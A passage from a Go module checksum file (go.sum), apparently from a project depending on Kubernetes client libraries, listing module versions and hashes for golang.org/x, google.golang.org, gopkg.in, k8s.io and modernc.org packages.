golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190624222133-a101b041ded4/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=
golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=
golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8=
golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
golang.org/x/tools v0.1.1 h1:wGiQel/hW0NnEkJUk8lbzkX2gFJU6PFxf1v5OlCfuOs=
golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=
google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=
google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM=
google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=
google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA=
google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U=
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=
google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20201019141844-1ed22bb0c154/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw=
google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f h1:BLraFXnmrev5lT+xlilqcH8XK9/i0At2xKjWk4p6zsU=
gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc=
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20200615113413-eeeca48fe776/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk=
gotest.tools/v3 v3.3.0 h1:MfDY1b1/0xN1CyMlQDac0ziEy9zJQd9CXBRRDHw2jJo=
gotest.tools/v3 v3.3.0/go.mod h1:Mcr9QNxkg0uMvy/YElmo4SpXgJKWgQvYrT7Kw5RzJ1A=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
k8s.io/api v0.22.5 h1:xk7C+rMjF/EGELiD560jdmwzrB788mfcHiNbMQLIVI8=
k8s.io/api v0.22.5/go.mod h1:mEhXyLaSD1qTOf40rRiKXkc+2iCem09rWLlFwhCEiAs=
k8s.io/apimachinery v0.22.5 h1:cIPwldOYm1Slq9VLBRPtEYpyhjIm1C6aAMAoENuvN9s=
k8s.io/apimachinery v0.22.5/go.mod h1:xziclGKwuuJ2RM5/rSFQSYAj0zdbci3DH8kj+WvyN0U=
k8s.io/client-go v0.22.5 h1:I8Zn/UqIdi2r02aZmhaJ1hqMxcpfJ3t5VqvHtctHYFo=
k8s.io/client-go v0.22.5/go.mod h1:cs6yf/61q2T1SdQL5Rdcjg9J1ElXSwbjSrW2vFImM4Y=
k8s.io/gengo v0.0.0-20200413195148-3a45101e95ac/go.mod h1:ezvh/TsK7cY6rbqRK0oQQ8IAqLxYwwyPxAX1Pzy0ii0=
k8s.io/klog/v2 v2.0.0/go.mod h1:PBfzABfn139FHAV07az/IF9Wp1bkk3vpT2XSJ76fSDE=
k8s.io/klog/v2 v2.9.0/go.mod h1:hy9LJ/NvuK+iVyP4Ehqva4HxZG/oXyIS3n3Jmire4Ec=
k8s.io/klog/v2 v2.30.0 h1:bUO6drIvCIsvZ/XFgfxoGFQU/a4Qkh0iAlvUR7vlHJw=
k8s.io/klog/v2 v2.30.0/go.mod h1:y1WjHnz7Dj687irZUWR/WLkLc5N1YHtjLdmgWjndZn0=
k8s.io/kube-openapi v0.0.0-20211109043538-20434351676c/go.mod h1:vHXdDvt9+2spS2Rx9ql3I8tycm3H9FDfdUoIuKCefvw=
k8s.io/utils v0.0.0-20210819203725-bdf08cb9a70a/go.mod h1:jPW/WVKK9YHAvNhRxK0md/EJ228hCsBRufyofKtW8HA=
k8s.io/utils v0.0.0-20220728103510-ee6ede2d64ed h1:jAne/RjBTyawwAy0utX5eqigAwz/lQhTmy+Hr/Cpue4=
k8s.io/utils v0.0.0-20220728103510-ee6ede2d64ed/go.mod h1:jPW/WVKK9YHAvNhRxK0md/EJ228hCsBRufyofKtW8HA=
lukechampine.com/uint128 v1.1.1 h1:pnxCASz787iMf+02ssImqk6OLt+Z5QHMoZyUXR4z6JU=
lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
modernc.org/cc/v3 v3.36.0 h1:0kmRkTmqNidmu3c7BNDSdVHCxXCkWLmWmCIVX4LUboo=
modernc.org/cc/v3 v3.36.0/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI=
modernc.org/ccgo/v3 v3.0.0-20220428102840-41399a37e894/go.mod h1:eI31LL8EwEBKPpNpA4bU1/i+sKOwOrQy8D87zWUcRZc=
modernc.org/ccgo/v3 v3.0.0-20220430103911-bc99d88307be/go.mod h1:bwdAnOoaIt8Ax9YdWGjxWsdkPcZyRPHqrOvJxaKAKGw=
modernc.org/ccgo/v3 v3.16.4/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ=
modernc.org/ccgo/v3 v3.16.6 h1:3l18poV+iUemQ98O3X5OMr97LOqlzis+ytivU4NqGhA=
modernc.org/ccgo/v3 v3.16.6/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ=
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
modernc.org/libc v0.0.0-20220428101251-2d5f3daf273b/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA=
modernc.org/libc v1.16.0/go.mod h1:N4LD6DBE9cf+Dzf9buBlzVJndKr/iJHG97vGLHYnb5A=
modernc.org/libc v1.16.1/go.mod h1:JjJE0eu4yeK7tab2n4S1w8tlWd9MxXLRzheaRnAKymU=
modernc.org/libc v1.16.7 h1:qzQtHhsZNpVPpeCu+aMIQldXeV1P0vRhSqCL0nOIJOA=
modernc.org/libc v1.16.7/go.mod h1:hYIV5VZczAmGZAnG15Vdngn5HSF5cSkbvfz2B7GRuVU=
modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=
modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/memory v1.1.1 h1:bDOL0DIDLQv7bWhP3gMvIrnoFw+Eo6F7a2QK9HPDiFU=
modernc.org/memory v1.1.1/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=
